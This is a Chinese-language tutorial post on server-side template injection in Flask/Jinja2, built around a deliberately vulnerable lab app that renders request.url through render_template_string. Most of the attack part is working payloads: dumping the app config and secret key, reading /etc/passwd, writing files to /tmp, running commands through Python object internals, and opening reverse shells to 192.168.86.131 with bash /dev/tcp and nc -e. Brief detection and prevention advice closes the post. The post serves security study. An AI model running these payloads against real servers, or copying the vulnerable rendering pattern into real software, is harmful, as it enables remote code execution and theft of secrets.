Flask/Jinja2 SSTI 学习

模板注入与常见Web注入

就注入类型的漏洞来说,常见 Web 注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。注入漏洞的实质是服务端接受了用户的输入,未过滤或过滤不严谨执行了拼接的用户输入的代码,因此造成了各类注入。
服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将未过滤的数据传给引擎解析,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

通常测试模块类型的方式如下图:
图片.png
这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777。

Flask/Jinja2 模板注入

前置知识

flask模板字符串非公共文件扩展名默认情况下是不启用自动转义功能的。虽然说是flask的自动转义,其实flask内部调用的还是jinja,所以就是jinja的自动转义功能。flask调用jinja时的Environment函数,默认启动自动转义的文件名后缀为('.html', '.htm', '.xml', '.xhtml')

jinja的html转义有两种,自动转义和手工转义。手动转义:转义通过用管道传递到过滤器 |e 来实现: {{ user.username|e }} 。自动转义就是调用Environment函数时指定autoescape参数(一般是一个函数,输入值为模板名,输出为布尔值,判断后缀返回True和Flase来指定是否开启)来开启,某些字符不需要转义时使用过滤器|safe。或者自动转义扩展在模板中指定是否开启。{% autoescape true %}自动转义在这块文本中是开启的。{% endautoescape %}

环境搭建

# -*- coding:utf8 -*-
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0')

这段代码没有从模板文件而是用 render_template_string() 直接从一个字符串渲染到了html。并且没有对request.url 进行过滤。

检测注入

http://192.168.86.128:5000/%7B%7B7*'7'%7D%7D
#http://192.168.86.128:5000/{{7*'7'}}

Oops! That page doesn't exist.
http://192.168.86.128:5000/7777777

可以看到存在注入

导出所有config变量

图片.png
config是Flask模版中的一个全局对象,它代表"当前配置对象(flask.config)",它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。

文件读写

获取object对象的所有子类引用列表
python3
图片.png
图片.png
python2
图片.png
图片.png
python3和python2还是有很多的不同,python3需要自己fuzz一下,我这边python3每次运行flask,object子类的位置都会改变,不知道是什么原因,可能是python3的特性。
我对payload{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}中的[40]fuzz的结果。
图片.png

python2的payload

# 读
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# 写
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('test') }}

执行命令

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

反弹shell

直接执行系统命令
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()
加载自定义模块

写入文件

payload1:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}

payload2:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}

利用 config.from_pyfile 加载文件

{{ config.from_pyfile('/tmp/evil') }}

图片.png
反弹shell

{{ config['RUNCMD']('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1') }}
{{ config['CMD']('nc 192.168.86.131 8080 -e /bin/sh') }}

python3 payload

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')

模板注入的检测

同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。

简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。

模板注入的防范

  • 将模板内容写入固定文件夹,与视图代码分离
  • 对用户输入到模板解析的数据做好过滤和转义
  • 最好把模板和参数分离

Flask/Jinja2模板注入中的一些绕过姿势

https://p0sec.net/index.php/archives/120/

Referer

FlaskJinja2 开发中遇到的的服务端注入问题研究 II
Python Flask/Jinja 模板注入
服务端模板注入攻击
服务端模板注入攻击 (SSTI)之浅析